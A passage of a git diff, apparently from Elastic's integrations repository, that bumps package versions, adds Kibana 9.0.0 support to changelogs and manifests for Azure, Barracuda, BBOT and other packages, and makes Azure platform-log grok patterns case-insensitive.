+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "Enqueue count is the number of messages sent to the queue. \tDequeue count is the number of messages acknowledged by consumers",
+ "enhancements": {}
+ },
+ "gridData": {
+ "h": 14,
+ "i": "48dbe1aa-7f23-47b3-aa72-968ec413348c",
+ "w": 16,
+ "x": 16,
+ "y": 62
+ },
+ "panelIndex": "48dbe1aa-7f23-47b3-aa72-968ec413348c",
+ "title": "Enqueue vs Dequeue count",
+ "type": "lens"
+ }
+ ],
+ "timeRestore": false,
+ "title": "[Amazon MQ] ActiveMQ Overview",
+ "version": 2
+ },
+ "coreMigrationVersion": "8.8.0",
+ "created_at": "2025-02-22T06:12:12.150Z",
+ "id": "aws_mq-787931c1-b9eb-4c6d-9993-e9014e135071",
+ "managed": true,
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "dbc2f529-a9f9-4d72-8052-a00f1be83ca8:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "d283b8f3-abd3-40d6-95c0-4eb9b7ed9927:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "231ff3ae-2395-43ea-ba5e-7ecc83c01fe9:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "231ff3ae-2395-43ea-ba5e-7ecc83c01fe9:indexpattern-datasource-layer-9f090cb9-ced1-44d1-956a-78936c15d125",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "4589d24e-3705-4993-8d43-49bb8c347738:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "1cb87e1f-3bd3-46dc-88a2-733ab9043551:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "0083352f-a49e-4c37-9cdd-65956d59111c:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "d0441ad2-aa47-4dd9-827f-4151bb4e823f:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "2a409820-b562-44e5-905b-4ac12a9471a2:indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "2a409820-b562-44e5-905b-4ac12a9471a2:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "8199eef4-d274-432e-bc63-63e060a6e721:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "25a4cd1f-0ca5-4b31-878c-4d1a8e71d344:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "25a4cd1f-0ca5-4b31-878c-4d1a8e71d344:indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "408b8f4a-fab1-4f37-90cd-8bb34db91bfa:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "408b8f4a-fab1-4f37-90cd-8bb34db91bfa:indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "3881c9bf-d72e-4f98-8373-721f9886883c:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "c30fdfcd-03bd-4a98-b6c1-b0cea98ba072:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "c30fdfcd-03bd-4a98-b6c1-b0cea98ba072:indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "a46e0c8a-f573-4beb-848d-178f39c1e98a:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "a46e0c8a-f573-4beb-848d-178f39c1e98a:indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "8e1331e0-41ee-48d8-9ea3-b70efec60e0e:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "8e1331e0-41ee-48d8-9ea3-b70efec60e0e:indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "4111cfe2-7eac-4b78-99bc-08400b3c9b81:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "48dbe1aa-7f23-47b3-aa72-968ec413348c:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "48dbe1aa-7f23-47b3-aa72-968ec413348c:indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "controlGroup_a76377d2-071c-4db0-8556-c0f005664ca4:optionsListDataView",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "controlGroup_b37d4456-a0e3-42e4-8bf2-12de33e003b3:optionsListDataView",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "controlGroup_5c9fc0ab-11a1-4240-8270-b62238f12624:optionsListDataView",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "controlGroup_23566730-88c9-4ade-bcb0-90328e9c6fdf:optionsListDataView",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "controlGroup_5e26381c-be65-4c74-babc-1f9cc2102a75:optionsListDataView",
+ "type": "index-pattern"
+ }
+ ],
+ "type": "dashboard",
+ "typeMigrationVersion": "10.2.0"
+}
\ No newline at end of file
diff --git a/packages/aws_mq/manifest.yml b/packages/aws_mq/manifest.yml
index 02d3eed7a27..4a7f9103f83 100644
--- a/packages/aws_mq/manifest.yml
+++ b/packages/aws_mq/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.3.1
name: aws_mq
title: "Amazon MQ"
-version: 0.1.0
+version: 0.3.0
description: "Collect Amazon MQ metrics with Elastic Agent"
type: integration
categories:
@@ -15,13 +15,13 @@ conditions:
elastic:
subscription: "basic"
screenshots:
- - src: /img/amazom-mq-config-screenshot.png
- title: AmazonMQ configuration screenshot
- size: 1126×1634
+ - src: /img/amazonmq-activemq-dashboard.png
+ title: ActiveMQ overview dashboard
+ size: 4062x4818
type: image/png
icons:
- src: /img/aws-mq-logo.svg
- title: AmazonMQ logo
+ title: Amazon MQ logo
size: 32x32
type: image/svg+xml
policy_templates:
diff --git a/packages/azure/changelog.yml b/packages/azure/changelog.yml
index d58dfc0fbb4..da95410c660 100644
--- a/packages/azure/changelog.yml
+++ b/packages/azure/changelog.yml
@@ -1,3 +1,13 @@
+- version: "1.22.2"
+ changes:
+ - description: Fix Platform Logs pipeline inconsistent casing for subscription_id field.
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/12735
+- version: 1.22.1
+ changes:
+ - description: Fix the custom storage container description for the Azure Logs integration v2.
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/12926
- version: 1.22.0
changes:
- description: Add support for Kibana `9.0.0`
diff --git a/packages/azure/data_stream/events/manifest.yml b/packages/azure/data_stream/events/manifest.yml
index f99aac1c229..d5bcf2d68fd 100644
--- a/packages/azure/data_stream/events/manifest.yml
+++ b/packages/azure/data_stream/events/manifest.yml
@@ -46,7 +46,7 @@ streams:
required: false
show_user: false
description: >
- The storage account container where the integration stores the checkpoint data for the consumer group. It is an advanced option to use with extreme care. You MUST use a dedicated storage account container for each Azure log type (activity, sign-in, audit logs, and others). DO NOT REUSE the same container name for more than one Azure log type. See [Container Names](https://docs.microsoft.com/en-us/rest/api/storageservices/naming-and-referencing-containers--blobs--and-metadata#container-names) for details on naming rules from Microsoft. The integration generates a default container name if not specified.
+ The storage account container where the integration stores the checkpoint data. It is an advanced option to use with extreme care. You MUST use a dedicated storage account container for this integration. DO NOT REUSE the same container name for more than one integration. See [Container Names](https://docs.microsoft.com/en-us/rest/api/storageservices/naming-and-referencing-containers--blobs--and-metadata#container-names) for details on naming rules from Microsoft. The integration generates a default container name if not specified.
- name: tags
type: text
title: Tags
diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-edgecases.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-edgecases.log-expected.json
index d857e15ebfc..ce0ed6ee4e1 100644
--- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-edgecases.log-expected.json
+++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-edgecases.log-expected.json
@@ -117,4 +117,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-identity-raw.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-identity-raw.log-expected.json
index ebe273ae56a..98351c4e433 100644
--- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-identity-raw.log-expected.json
+++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-identity-raw.log-expected.json
@@ -46,4 +46,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-invalid-raw.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-invalid-raw.log-expected.json
index fe2c5e46230..a751172707c 100644
--- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-invalid-raw.log-expected.json
+++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-invalid-raw.log-expected.json
@@ -141,4 +141,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-kube.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-kube.log-expected.json
index 992e568b905..0e8a4f27950 100644
--- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-kube.log-expected.json
+++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-kube.log-expected.json
@@ -41,4 +41,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-raw.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-raw.log-expected.json
index 976ceeb00b4..6e35a099a2c 100644
--- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-raw.log-expected.json
+++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-raw.log-expected.json
@@ -87,4 +87,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-remote-raw.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-remote-raw.log-expected.json
index 7b1b1df1294..802f6bcfb7e 100644
--- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-remote-raw.log-expected.json
+++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-remote-raw.log-expected.json
@@ -45,4 +45,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/azure-shared-pipeline.yml b/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/azure-shared-pipeline.yml
index 7290fc00b5b..adfbaed90cd 100644
--- a/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/azure-shared-pipeline.yml
+++ b/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/azure-shared-pipeline.yml
@@ -7,8 +7,7 @@ processors:
- grok:
field: azure.resource_id
patterns:
- - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}/RESOURCEGROUPS/%{GROUPID:azure.resource.group}/PROVIDERS/%{PROVIDERNAME:azure.resource.provider}/NAMESPACES/%{NAMESPACE:azure.resource.namespace}/AUTHORIZATIONRULES/%{RULE:azure.resource.authorization_rule}
- - /subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}/providers/%{PROVIDERNAME:azure.resource.provider}/namespaces/%{NAMESPACE:azure.resource.namespace}/authorizationRules/%{RULE:azure.resource.authorization_rule}
+ - /(?i)subscriptions/%{SUBID:azure.subscription_id}/RESOURCEGROUPS/%{GROUPID:azure.resource.group}/PROVIDERS/%{PROVIDERNAME:azure.resource.provider}/NAMESPACES/%{NAMESPACE:azure.resource.namespace}/AUTHORIZATIONRULES/%{RULE:azure.resource.authorization_rule}
pattern_definitions:
SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}
GROUPID: .+
@@ -20,8 +19,7 @@ processors:
field: azure.resource_id
if: 'ctx.azure?.subscription_id == null'
patterns:
- - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}/RESOURCEGROUPS/%{GROUPID:azure.resource.group}/PROVIDERS/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name}
- - /subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}/providers/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name}
+ - /(?i)subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}/providers/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name}
pattern_definitions:
SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}
GROUPID: .+
@@ -32,8 +30,7 @@ processors:
field: azure.resource_id
if: 'ctx.azure?.subscription_id == null'
patterns:
- - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}/RESOURCEGROUPS/%{GROUPID:azure.resource.group}/PROVIDERS/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name}
- - /subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}/providers/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name}
+ - /(?i)subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}/providers/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name}
pattern_definitions:
SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}
GROUPID: .+
@@ -53,8 +50,7 @@ processors:
field: azure.resource_id
if: 'ctx.azure?.subscription_id == null'
patterns:
- - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}/PROVIDERS/%{PROVIDERNAME:azure.resource.provider}
- - /subscriptions/%{SUBID:azure.subscription_id}/providers/%{PROVIDERNAME:azure.resource.provider}
+ - /(?i)subscriptions/%{SUBID:azure.subscription_id}/providers/%{PROVIDERNAME:azure.resource.provider}
pattern_definitions:
SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}
PROVIDERNAME: ([A-Za-z])\w+.([A-Za-z])\w+\/([A-Za-z][^\/])\w+
@@ -63,8 +59,7 @@ processors:
field: azure.resource_id
if: 'ctx.azure?.subscription_id == null'
patterns:
- - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}/RESOURCEGROUPS/%{GROUPID:azure.resource.group}
- - /subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}
+ - /(?i)subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}
pattern_definitions:
SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}
GROUPID: .+
@@ -73,8 +68,7 @@ processors:
field: azure.resource_id
if: 'ctx.azure?.subscription_id == null'
patterns:
- - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}
- - /subscriptions/%{SUBID:azure.subscription_id}
+ - /(?i)subscriptions/%{SUBID:azure.subscription_id}
pattern_definitions:
SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}
ignore_failure: true
diff --git a/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/default.yml b/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/default.yml
index 1e7b216435e..19a8e971524 100644
--- a/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/default.yml
@@ -91,6 +91,12 @@ processors:
field: azure.platformlogs.resourceId
target_field: azure.resource_id
ignore_missing: true
+ if : ctx?.azure?.resource_id == null
+ - rename:
+ field: azure.platformlogs.ResourceId
+ target_field: azure.resource_id
+ ignore_missing: true
+ if : ctx?.azure?.resource_id == null
- rename:
field: azure.platformlogs.Region
target_field: cloud.region
@@ -148,8 +154,9 @@ processors:
- convert:
field: azure.platformlogs.durationMs
target_field: event.duration
- type: integer
+ type: long
ignore_missing: true
+ ignore_failure: true
if: "ctx?.azure?.platformlogs?.durationMs != null && ctx?.azure?.platformlogs?.durationMs instanceof String"
- remove:
field: azure.platformlogs.durationMs
@@ -284,6 +291,7 @@ processors:
- set:
field: event.kind
value: event
+ ignore_failure: true
- pipeline:
name: '{{ IngestPipeline "azure-shared-pipeline" }}'
- pipeline:
diff --git a/packages/azure/manifest.yml b/packages/azure/manifest.yml
index 9c6813b859c..df074461c79 100644
--- a/packages/azure/manifest.yml
+++ b/packages/azure/manifest.yml
@@ -1,6 +1,6 @@
name: azure
title: Azure Logs
-version: "1.22.0"
+version: "1.22.2"
description: This Elastic integration collects logs from Azure
type: integration
icons:
diff --git a/packages/azure_blob_storage/changelog.yml b/packages/azure_blob_storage/changelog.yml
index 89e50c503f7..efb153b083c 100644
--- a/packages/azure_blob_storage/changelog.yml
+++ b/packages/azure_blob_storage/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.2.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.1.1"
changes:
- description: Add missing category.
diff --git a/packages/azure_blob_storage/manifest.yml b/packages/azure_blob_storage/manifest.yml
index a224b3330d2..ac2e0ab7055 100644
--- a/packages/azure_blob_storage/manifest.yml
+++ b/packages/azure_blob_storage/manifest.yml
@@ -3,10 +3,10 @@ name: azure_blob_storage
title: Custom Azure Blob Storage Input
description: Collect log data from configured Azure Blob Storage Container with Elastic Agent.
type: input
-version: "2.1.1"
+version: "2.2.0"
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
categories:
- azure
- observability
diff --git a/packages/azure_frontdoor/changelog.yml b/packages/azure_frontdoor/changelog.yml
index 49d3eaa821f..65038d9caf3 100644
--- a/packages/azure_frontdoor/changelog.yml
+++ b/packages/azure_frontdoor/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.2.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.1.3"
changes:
- description: Add missing category.
diff --git a/packages/azure_frontdoor/manifest.yml b/packages/azure_frontdoor/manifest.yml
index 569e5e6093f..a621bd0c831 100644
--- a/packages/azure_frontdoor/manifest.yml
+++ b/packages/azure_frontdoor/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: azure_frontdoor
title: "Azure Frontdoor"
-version: "2.1.3"
+version: "2.2.0"
description: "This Elastic integration collects logs from Azure Frontdoor."
type: integration
categories:
@@ -12,7 +12,7 @@ categories:
- web
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/azure-frontdoor-overview.png
title: Azure Frontdoor Overview
diff --git a/packages/azure_network_watcher_nsg/changelog.yml b/packages/azure_network_watcher_nsg/changelog.yml
index 7ac972c91f2..8797187c366 100644
--- a/packages/azure_network_watcher_nsg/changelog.yml
+++ b/packages/azure_network_watcher_nsg/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.3.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.2.1"
changes:
- description: Add missing category.
diff --git a/packages/azure_network_watcher_nsg/manifest.yml b/packages/azure_network_watcher_nsg/manifest.yml
index 2bdc5b9d4b0..fcc5727a73b 100644
--- a/packages/azure_network_watcher_nsg/manifest.yml
+++ b/packages/azure_network_watcher_nsg/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.1.2
name: azure_network_watcher_nsg
title: Azure Network Watcher NSG
-version: "1.2.1"
+version: "1.3.0"
description: Collect logs from Azure Network Watcher NSG with Elastic Agent.
type: integration
categories:
@@ -10,7 +10,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/azure_network_watcher_vnet/changelog.yml b/packages/azure_network_watcher_vnet/changelog.yml
index 7260019e7d5..f2c58ea8a7d 100644
--- a/packages/azure_network_watcher_vnet/changelog.yml
+++ b/packages/azure_network_watcher_vnet/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.3.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.2.1"
changes:
- description: Add missing category.
diff --git a/packages/azure_network_watcher_vnet/manifest.yml b/packages/azure_network_watcher_vnet/manifest.yml
index a6a69d880be..221d9a4d141 100644
--- a/packages/azure_network_watcher_vnet/manifest.yml
+++ b/packages/azure_network_watcher_vnet/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.1.2
name: azure_network_watcher_vnet
title: Azure Network Watcher VNet
-version: "1.2.1"
+version: "1.3.0"
description: Collect logs from Azure Network Watcher VNet with Elastic Agent.
type: integration
categories:
@@ -10,7 +10,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/barracuda/changelog.yml b/packages/barracuda/changelog.yml
index 888b9059f8a..775aa1d4bba 100644
--- a/packages/barracuda/changelog.yml
+++ b/packages/barracuda/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.18.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.17.2"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/barracuda/manifest.yml b/packages/barracuda/manifest.yml
index 8401c260d48..4a54f2c03f3 100644
--- a/packages/barracuda/manifest.yml
+++ b/packages/barracuda/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.3"
name: barracuda
title: "Barracuda Web Application Firewall"
-version: "1.17.2"
+version: "1.18.0"
description: "Collect logs from Barracuda Web Application Firewall with Elastic Agent."
type: integration
source:
@@ -12,7 +12,7 @@ categories:
- web_application_firewall
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/barracuda_cloudgen_firewall/changelog.yml b/packages/barracuda_cloudgen_firewall/changelog.yml
index 26c760fc7b9..e88342e414b 100644
--- a/packages/barracuda_cloudgen_firewall/changelog.yml
+++ b/packages/barracuda_cloudgen_firewall/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.15.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.14.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/barracuda_cloudgen_firewall/manifest.yml b/packages/barracuda_cloudgen_firewall/manifest.yml
index 0acffeb56e3..2edb57f8822 100644
--- a/packages/barracuda_cloudgen_firewall/manifest.yml
+++ b/packages/barracuda_cloudgen_firewall/manifest.yml
@@ -1,13 +1,13 @@
format_version: "3.0.3"
name: barracuda_cloudgen_firewall
title: Barracuda CloudGen Firewall Logs
-version: "1.14.1"
+version: "1.15.0"
description: Collect logs from Barracuda CloudGen Firewall devices with Elastic Agent.
categories: ["network", "security", "firewall_security"]
type: integration
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
policy_templates:
- name: barracuda_cloudgen_firewall
title: Barracuda CloudGen Firewall Logs
diff --git a/packages/bbot/changelog.yml b/packages/bbot/changelog.yml
index 2d59585e10a..29ad3b982cf 100644
--- a/packages/bbot/changelog.yml
+++ b/packages/bbot/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.3.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.2.0"
changes:
- description: Update to support BBOT v2 output formats
diff --git a/packages/bbot/manifest.yml b/packages/bbot/manifest.yml
index e85769c66eb..c53092222d9 100644
--- a/packages/bbot/manifest.yml
+++ b/packages/bbot/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.1.2
name: bbot
title: "BBOT (Bighuge BLS OSINT Tool)"
-version: "1.2.0"
+version: "1.3.0"
description: "BBOT is a recursive internet scanner inspired by Spiderfoot, but designed to be faster, more reliable, and friendlier to pentesters, bug bounty hunters, and developers. "
type: integration
categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/beaconing/changelog.yml b/packages/beaconing/changelog.yml
index 5a05d38752e..ad4437ae115 100644
--- a/packages/beaconing/changelog.yml
+++ b/packages/beaconing/changelog.yml
@@ -1,3 +1,8 @@
+- version: "1.3.0"
+ changes:
+ - description: Add support for Kibana `9.0.0`
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12940
- version: "1.2.3"
changes:
- description: Add agent policy documentation
diff --git a/packages/beaconing/elasticsearch/transform/pivot_transform/transform.yml b/packages/beaconing/elasticsearch/transform/pivot_transform/transform.yml
index 722ca6f8a0f..3cb661866c2 100644
--- a/packages/beaconing/elasticsearch/transform/pivot_transform/transform.yml
+++ b/packages/beaconing/elasticsearch/transform/pivot_transform/transform.yml
@@ -1,6 +1,6 @@
dest:
- index: ml_beaconing-1.2.3
- pipeline: 1.2.3-ml_beaconing_ingest_pipeline
+ index: ml_beaconing-1.3.0
+ pipeline: 1.3.0-ml_beaconing_ingest_pipeline
aliases:
- alias: ml_beaconing.latest
move_on_creation: true
diff --git a/packages/beaconing/manifest.yml b/packages/beaconing/manifest.yml
index d44ddcf0da9..ffaf7fa48e5 100644
--- a/packages/beaconing/manifest.yml
+++ b/packages/beaconing/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.0.0
name: beaconing
title: "Network Beaconing Identification"
-version: 1.2.3
+version: 1.3.0
source:
license: "Elastic-2.0"
description: "Package to identify beaconing activity in your network events."
@@ -11,7 +11,7 @@ categories:
- advanced_analytics_ueba
conditions:
kibana:
- version: '^8.10.1'
+ version: "^8.10.1 || ^9.0.0"
elastic:
subscription: platinum
capabilities:
diff --git a/packages/beyondinsight_password_safe/changelog.yml b/packages/beyondinsight_password_safe/changelog.yml
index b2670825785..faf86a4dd5f 100644
--- a/packages/beyondinsight_password_safe/changelog.yml
+++ b/packages/beyondinsight_password_safe/changelog.yml
@@ -1,3 +1,8 @@
+- version: "0.2.0"
+ changes:
